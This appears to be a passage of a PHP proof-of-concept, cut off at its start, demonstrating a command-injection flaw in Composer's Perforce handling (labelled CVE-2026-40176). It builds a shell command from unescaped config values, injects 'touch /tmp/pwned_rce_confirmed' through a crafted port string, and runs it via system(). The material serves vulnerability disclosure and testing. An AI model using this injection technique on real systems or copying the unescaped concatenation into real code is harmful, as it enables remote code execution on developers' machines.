repoConfig = $repoConfig; $this->port = $port; $this->path = $path; } public function getUser() { return $this->repoConfig['p4user'] ?? 'default_user'; } public function getClient() { return $this->repoConfig['client'] ?? 'default_client'; } public function getPort() { return $this->port; } public function getP4Executable() { return 'p4'; } /** * Vulnerable method reproduction * * The vulnerability exists because arguments are concatenated without * proper escaping via ProcessExecutor::escape(). */ public function generateP4Command(string $command, bool $useClient = true): string { $p4Command = $this->getP4Executable().' '; $p4Command .= '-u ' . $this->getUser() . ' '; // Vulnerable: unescaped user input if ($useClient) { $p4Command .= '-c ' . $this->getClient() . ' '; // Vulnerable: unescaped } $p4Command .= '-p ' . $this->getPort() . ' ' . $command; // Vulnerable: unescaped return $p4Command; } } // Attacker-controlled inputs from composer.json $repoConfig = [ 'depot' => 'depot', 'p4user' => 'user', ]; // Payload: injects a command after the port, followed by a '#' to comment out the rest $maliciousPort = 'localhost:1666; touch /tmp/pwned_rce_confirmed #'; $perforce = new VulnerablePerforce($repoConfig, $maliciousPort, '/tmp'); echo "[*] Preparing malicious command...\n"; $fullCommand = $perforce->generateP4Command('login -s', false); echo "[*] Generated command:\n"; echo " $fullCommand\n\n"; echo "[*] Executing command via system()...\n"; /** * In actual Composer, this string is passed to ProcessExecutor::execute(), * which eventually runs it through a shell (sh/cmd), making it vulnerable * to shell metacharacters. */ system($fullCommand); echo "\n[*] Checking for payload execution...\n"; if (file_exists('/tmp/pwned_rce_confirmed')) { echo "[!] SUCCESS: /tmp/pwned_rce_confirmed was created!\n"; echo "[!] RCE Vulnerability (CVE-2026-40176) Confirmed.\n"; // Cleanup unlink('/tmp/pwned_rce_confirmed'); } else { echo "[-] Failure: Payload not executed.\n"; }